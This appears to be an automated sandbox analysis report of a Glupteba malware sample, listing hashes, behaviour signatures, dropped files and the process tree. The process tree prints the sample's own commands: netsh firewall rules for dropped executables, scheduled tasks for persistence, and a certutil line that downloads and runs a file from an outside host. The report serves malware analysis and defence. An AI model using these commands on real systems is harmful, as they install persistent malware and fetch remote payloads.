Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 11:23

General

  • Target

    6ac7db6b3e027179930f62a9c823c053_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    6ac7db6b3e027179930f62a9c823c053

  • SHA1

    35f9760e4369009188dd9c83f23741c30668928f

  • SHA256

    6dc5d456dfdae36a27a1e621a4f40a65363da30bf191bb4fda5ae90632ae9772

  • SHA512

    38cfc176ac6ad8b6b316c4bf2288acee8d7283428d026971a06f6d7f27a58b892dde0931a52bef9143e862d2865a2d9232aee587b8a2437b0f39c007077b4a7b

  • SSDEEP

    98304:azeJNV7gsPEnwLKFME0MMRiqxLOAq5SD:8eHVEsgJbMwcLHH

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\6ac7db6b3e027179930f62a9c823c053_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\6ac7db6b3e027179930f62a9c823c053_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4988
    • C:\Users\Admin\AppData\Local\Temp\6ac7db6b3e027179930f62a9c823c053_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\6ac7db6b3e027179930f62a9c823c053_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2848
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4196
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4528
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\169a9fc7195d\169a9fc7195d\169a9fc7195d.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1608
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\169a9fc7195d\169a9fc7195d\169a9fc7195d.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4588
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4268
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:2944
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:3212
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3768
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:636
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2848 -s 616
        3⤵
        • Program crash
        PID:2300
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4988 -s 940
      2⤵
      • Program crash
      PID:1732
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4988 -ip 4988
    1⤵
      PID:1868
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2848 -ip 2848
      1⤵
        PID:5084

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      • C:\Windows\rss\csrss.exe

        Filesize

        3.9MB

        MD5

        6ac7db6b3e027179930f62a9c823c053

        SHA1

        35f9760e4369009188dd9c83f23741c30668928f

        SHA256

        6dc5d456dfdae36a27a1e621a4f40a65363da30bf191bb4fda5ae90632ae9772

        SHA512

        38cfc176ac6ad8b6b316c4bf2288acee8d7283428d026971a06f6d7f27a58b892dde0931a52bef9143e862d2865a2d9232aee587b8a2437b0f39c007077b4a7b

      • memory/2848-16-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/2848-5-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/2848-6-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/2848-7-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-28-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-29-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-34-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-32-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-31-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-27-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-21-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-22-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-23-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-24-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4268-25-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4988-2-0x0000000001590000-0x0000000001C86000-memory.dmp

        Filesize

        7.0MB

      • memory/4988-9-0x0000000001590000-0x0000000001C86000-memory.dmp

        Filesize

        7.0MB

      • memory/4988-8-0x0000000000400000-0x0000000000C54000-memory.dmp

        Filesize

        8.3MB

      • memory/4988-1-0x00000000011E0000-0x0000000001590000-memory.dmp

        Filesize

        3.7MB

      • memory/4988-3-0x0000000000400000-0x0000000000B10000-memory.dmp

        Filesize

        7.1MB

      • memory/4988-10-0x0000000000400000-0x0000000000B10000-memory.dmp

        Filesize

        7.1MB